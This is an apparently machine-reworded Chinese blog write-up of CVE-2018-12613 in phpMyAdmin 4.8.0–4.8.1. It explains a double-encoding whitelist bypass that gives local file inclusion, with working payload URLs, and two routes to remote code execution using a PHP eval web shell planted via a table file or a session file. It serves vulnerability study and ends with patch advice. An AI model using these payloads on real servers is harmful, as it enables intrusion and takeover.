快捷搜索:  网络  后门  CVE  渗透  木马  扫描  黑客  as

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

1、媒介

这篇文章的起点是在做渗透排泄的过程中,要是遇到phpMyAdmin4.8.x,不需要再像常规那样有file权限才能RCE,这里只需结合后台内陆文件包含以及insert权限或select权限就可以RCE。虽然这是一个需要后台上岸才能行使的洞,然则这个洞的绕过方式可以作为一个经典的代码审计案例来学习。本文先先容了怎么样绕过白名单完成内陆文件包含,然后又先容了怎么样结合insert权限或select权限获取到RCE。

二、漏洞先容

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库治理工具,让治理者可用Web接口治理MySQL数据库。

2.1漏洞描摹

在phpMyadmin 4.8.x版本中,程序没有严格控制用户的输入,攻击者可以行使两重编码绕过程序的白名单制约,造成LFI漏洞。

2.2受影响的体系版本

phpMyadmin 4.8.0

phpMyadmin 4.8.1

2.3.漏洞编号

CVE-2018-12613

3、漏洞细节

在/index.php     56行:

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

这里的target 可以直接传值输入。我们可以传入一个内陆文件路径去让其包含,就会造成LFI漏洞。

起首,我们餍足4个前提:

1.传入的target 需若是一个字符串。

2.不能以/index/ 开头。

3.不能在$target_blacklist数组内。

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

4.餍足checkPageValidity函数请求。

跟踪一下checkPageValidity函数

在/libraries/classes/Core.php  443行:

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

该函数内,有三处返归ture之处,只需有任意一处返归ture就可以。观察这三处,有一个共同点,都是需要$page在$whitelist数组中内才会返归true。

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

我们先看第一个返归true之处。

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

这里的$page在in_array之前没有经过任何的修饰,直接就与$whitelist作比较。没有办法绕过,传入的target值只能为白名单里的文件名才行。很显然,第一个并不能行使。

再来看第二个

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

先先容下这些函数的作用:

mb_strpos()函数的意思是查找字符串在另一个字符串中首次出现的地位。

mb_substr()函数的意思是:

string mb_substr ( string $str, int $start [, int $length = NULL [, string $encoding = mb_internal_encoding()]] )

从$str字符串中,提取从$start地位最先,长度为$length的字符串。

可以看出,第二个可以返归ture,我们行使db_sql.php?/../../格式就可以达到目的,绕过白名单制约。那是否是如许就可以造成漏洞了呢?

假设我们用db_sql.php?/../../../aaa.txt来绕过白名单制约进行包含文件。

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

那这里就是 include ‘db_sql.php?/../../../aaa.txt’。

这类格式并不能跨路径包含,因为php程序把?号后面的器械当成是传入db_sql.php文件的参数。

再来看第三个:

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

第三个以及第二个对比多出了个urldecode()函数。

而问题恰好出在了这个urldecode()函数。

我们可以行使两重编码绕过,将?经过两次编码%253f就可以绕过白名单验证。

缘故起因是:

%253f 传入时,起首会被自动解码一次,变成%3f。然后urldecode()再解码一次,就变成了 ?。 成功绕过了白名单制约。

这类情形下include的包含情形就是如许的,也就可以任意包含内陆文件了。

include  db_sql.php%3f/../../../aaa.txt

4、漏洞行使

4.1包含内陆体系文件

Payload:

/index.php?target=db_sql.php%253f/../../../../../../windows/system.ini

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

4.2命令执行

这里有两种姿势可以造成RCE。

4.2.1行使mysql的data文件:

创建一个名为abc的表,并且字段配置为<?php eval($_GET[‘z’]); ?>。

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

保存,然后会在\MySQL\data\test目录下生成三个以数据表名命名的文件。(test为数据库名称)。

要是你不知道data文件路径,可以用sql查询来获取到它的尽对路径。

show variables like '%datadir%';

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

其中,abc.frm文件内容

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

Payload:

/index.php?z=phpinfo();&target=db_sql.php%253f/../../../../../../../../ruanjian/phpstudy/PHPTutorial/MySQL/data/test/abc.frm

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

4.2.2行使PHP session序列化数据:

这个要领的道理是:每一次我们登录phpmyadmin的时辰,体系就会产生一个sess_sessionID文件,然后在内里执行的操作,会被记录到这个文件内。

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

起首,关上sql查询,执行sql语句SELECT’<?php eval($_GET[z]); exit();?>’。

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

然后关上控制台。获取本人的sessionID。

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

然后对应的文件就是sess_sessionID。我这里对应的文件名就是sess_16rme70p2qqnqjnhdiq3i6unu28bpqaa

获取到sessionID文件,接下来就是包含行使了,这需要知道sessionID文件的路径。对于sessionID文件的路径,每一种环境搭建方式的不同,路径也会不同。所以,这里提供几个常见的路径。

sessionID文件常见路径:

在Linux下,常见的文件路径为: /var/lib/php/session/

在Windows下:

phpstudy集成软件环境下,文件路径为:

/phpstudy/PHPTutorial/tmp/tmp

Wamp集成软件环境下,文件路径为:

/wamp64/tmp"

这个要领相对第一种比较不稳定,因为环境搭建方式的不同,session文件的路径也会不同,并且对于攻击者session文件的尽对路径也是不能直接获取到的,WEB黑客,只能靠常见路径或猜路径去行使。

我这里用的是phpstudy环境。

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

文件内容:

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

Payload:

/index.php?z=phpinfo();&target=sql.php%253f/../../../tmp/tmp/sess_16rme70p2qqnqjnhdiq3i6unu28bpqaa

关于phpMyAdmin 4.8.x LFI to RCE的一些分享

5、修复建议

目前官方已修复该漏洞,发布了最新版本4.8.2,可从官网下载最新版本。

下载链接:https://www.phpmyadmin.net/news/2018/6/21/security-fix-phpmyadmin-482-released/

*

您可能还会对下面的文章感兴趣: